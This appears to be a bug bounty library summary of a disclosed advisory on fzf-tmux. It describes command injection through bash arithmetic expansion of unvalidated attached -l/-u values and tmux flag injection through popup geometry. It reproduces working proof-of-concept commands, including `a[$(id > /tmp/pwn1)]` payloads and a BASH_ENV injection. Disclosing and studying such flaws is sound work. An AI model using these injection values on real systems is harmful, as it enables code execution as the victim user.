# fzf: Arbitrary command execution via bash arithmetic expansion on unvalidated layout size in fzf-tmux (-l/-u attached value)

fzf-tmux validates layout size only in separate-arg form; attached -l/-u values reach bash arithmetic expansion, executing `a[$(cmd)]` as the invoking user.

- Payout: Research
- Severity: high
- Program: fzf
- Found by: sb24CK
- Disclosed: 2026-11-19
- CVE: CVE-2026-121716
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-w6x2-f5m4-xw82
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-w6x2-f5m4-xw82
- Tags: area:oss domain:oss impact:rce kind:research platform:ghsa sev:high tech:linux technique:source-review vuln:command-injection

**Target:** bin/fzf-tmux shell script option parser
**Root cause:** Attached-form size values (`-l50`) bypass the regex validation applied only to separate arguments, then flow into bash arithmetic expansion `$((max - size))` where array subscripts execute commands. A second sink embeds unvalidated popup geometry into an unquoted `tmux popup ... $opt` invocation.
**Steps:**
1. Run `bash bin/fzf-tmux '-l a[$(id > /tmp/pwn1)]'` — line 120 arithmetic sink fires during parsing.
2. Run `bash bin/fzf-tmux '-u a[$(id > /tmp/pwn2)]%'` — line 102/108 percent sink fires.
3. Observe `/tmp/pwn1` and `/tmp/pwn2` contain `id` output, proving command execution as invoking user.
4. Popup variant (tmux >= 3.2): `bash bin/fzf-tmux -p '-x0 -e BASH_ENV=/path/to/evil.sh'` injects tmux flags.
**How found:** Code review of the option parser: noticed the regex validation at line 82 only guards the separate-argument branch while the attached form at line 80 is captured unvalidated, then traced `size` into `$((...))` arithmetic and recognized bash array-subscript expansion as a command-execution primitive.
**Exploitation:** Local command execution as the invoking user when attacker-influenced data reaches fzf-tmux layout args (-l/-u) or popup geometry; no tmux or fzf binary required since the sink fires during bash argument parsing. Requires victim to run fzf-tmux with the poisoned value.
**Insight:** In bash scripts, any value reaching `$((...))` is code: array subscripts like `a[$(cmd)]` execute even in arithmetic context, so grep for `$((` sinks and check whether every path to them is validated — attached short-option forms (`-l50`) are a classic validation bypass.

## Proof of concept (copied exactly from the original report)

**fzf-tmux -l arithmetic injection PoC**

```
$ bash bin/fzf-tmux '-l a[$(id > /tmp/pwn1)]'      # line 120 sink (non-percent)
$ bash bin/fzf-tmux '-u a[$(id > /tmp/pwn2)]%'     # line 102/108 sink (percent)

$ cat /tmp/pwn1 /tmp/pwn2
uid=1001(sb) gid=1001(sb) groups=...
```

**Popup flag injection via -p geometry**

```
bash bin/fzf-tmux -p '-x0 -e BASH_ENV=/path/to/evil.sh'
```

